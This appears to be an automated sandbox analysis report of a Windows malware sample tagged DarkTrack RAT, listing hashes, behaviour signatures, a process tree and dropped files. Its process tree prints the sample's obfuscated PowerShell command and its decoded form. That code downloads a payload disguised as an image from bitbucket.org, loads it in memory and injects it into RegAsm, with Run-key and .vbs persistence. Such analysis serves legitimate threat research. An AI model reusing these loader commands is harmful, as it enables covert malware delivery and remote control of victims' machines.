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Analysis

  • max time kernel
    136s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/06/2024, 10:43

General

  • Target

    $TEMP/putin_hyilo.exe

  • Size

    176KB

  • MD5

    df5671afa8a8170a515c589e1b342d52

  • SHA1

    ae327ecd6f312f5860fe35bacfa36cb9768852bb

  • SHA256

    6e9d23e7b4a677651ccb362fa6833ca13deef184a45a801cb1d7d1f542210809

  • SHA512

    156499f5e8a28206450e5946d26e12b3da589fb8972cdb85a2beef6f09943f8de5f40938ed402cbe661f4a3c24554f807755c29d2ef8b2a083c5e86d2faf108b

  • SSDEEP

    3072:yHwrxmMpvDITZg1Sa5GWp1icKAArDZz4N9GhbkrNEk1RIir:trMZ0p0yN90QEeIq

Malware Config

Signatures

  • DarkTrack

    DarkTrack is a remote administration tool written in delphi.

  • DarkTrack payload 4 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Delays execution with timeout.exe 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\$TEMP\putin_hyilo.exe
    "C:\Users\Admin\AppData\Local\Temp\$TEMP\putin_hyilo.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3604
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c dts.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#Mw#0#DQ#MQ#3#DI#MQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBt#H##YwBT#EE#bwBy#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBq#HI#d#B5#GY#ZwBk#GY#Lw#0#DI#MQ#0#DI#ZgBz#GE#Zg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#Mg#n#Cw#I##n#HM#dgBo#G8#cwB0#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?13441721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.mpcSAor/sdaolnwod/jrtyfgdf/42142fsaf/gro.tekcubtib//:sptth', '2', 'svhost', 'RegAsm', '1'))}}"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination "'C:\ProgramData\svhost.vbs'"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4400
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • Suspicious behavior: GetForegroundWindowSpam
            PID:4000
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\write.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1696
            • C:\Windows\system32\timeout.exe
              timeout 60
              6⤵
              • Delays execution with timeout.exe
              PID:316
            • C:\Windows\system32\tasklist.exe
              tasklist /fi "ImageName eq RegAsm.exe" /fo csv
              6⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:4956
            • C:\Windows\system32\find.exe
              find /I "RegAsm.exe"
              6⤵
                PID:2580
              • C:\Windows\system32\timeout.exe
                timeout 60
                6⤵
                • Delays execution with timeout.exe
                PID:1776
              • C:\Windows\system32\tasklist.exe
                tasklist /fi "ImageName eq RegAsm.exe" /fo csv
                6⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:1964
              • C:\Windows\system32\find.exe
                find /I "RegAsm.exe"
                6⤵
                  PID:744
                • C:\Windows\system32\timeout.exe
                  timeout 60
                  6⤵
                  • Delays execution with timeout.exe
                  PID:3972

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7f6b840a2ea930a42b14ed71ad6849c5

        SHA1

        a61bea32b13b67dd2868d285ad2fd058fca3c43e

        SHA256

        9ecf63e750463498ffb46bdcfd64a4ed0bae0ef80c5b43f438211f06b40a145d

        SHA512

        37fefc17e40bca636608acc6ddbf47c3a3e87b87267c892ada02101484b8dd82b53ec91e12c583aa10beb5812d7536cbee38faf465594461722896960d182448

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        d8b9a260789a22d72263ef3bb119108c

        SHA1

        376a9bd48726f422679f2cd65003442c0b6f6dd5

        SHA256

        d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

        SHA512

        550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dts.bat

        Filesize

        12KB

        MD5

        ac016863ff9cb26ddc1173da42a442d1

        SHA1

        3fb4058642619f1dc90febe9794742ef172975d2

        SHA256

        330d3eee12c2d4c05abdac1cd9fbcb88b6f2f257b7f12f06332b9e63ce3b51e7

        SHA512

        17787a2ec1b757ddab99076afc7f5855dd2b89ccbfd52a6a7374ac2496b5b2c2273062900f29c63b413ed4a1fc627ec323e046febb914dabb7f0927755396603

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sqgwmy3n.4ad.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\write.bat

        Filesize

        229B

        MD5

        c92b88d914fec9e7b49d287306dfdaea

        SHA1

        b36e872176f6b3c3702e3f4b0fd6097a8e044efb

        SHA256

        f9b5d572f03798bdb3dfa2e39e66f50f4a20682feb50f3ea91646aea41c1eb35

        SHA512

        47c9ccc1ad6b130cc1116fd8b4b414f17d04fee6d50a11851fdc8d3bbc55a74d0955eed16c48fa1e36287613933c6ff0c029acd9d0fee2e57dbff89e51d30068

      • memory/1016-27-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/1016-17-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/1016-16-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/1016-28-0x000002ADE5220000-0x000002ADE525E000-memory.dmp

        Filesize

        248KB

      • memory/1016-53-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/2428-15-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/2428-57-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/2428-14-0x00007FFEDEBB0000-0x00007FFEDF671000-memory.dmp

        Filesize

        10.8MB

      • memory/2428-4-0x0000024E67950000-0x0000024E67972000-memory.dmp

        Filesize

        136KB

      • memory/2428-3-0x00007FFEDEBB3000-0x00007FFEDEBB5000-memory.dmp

        Filesize

        8KB

      • memory/4000-40-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB

      • memory/4000-48-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB

      • memory/4000-47-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB

      • memory/4000-46-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB

      • memory/4000-45-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB

      • memory/4000-43-0x0000000000400000-0x00000000004A8000-memory.dmp

        Filesize

        672KB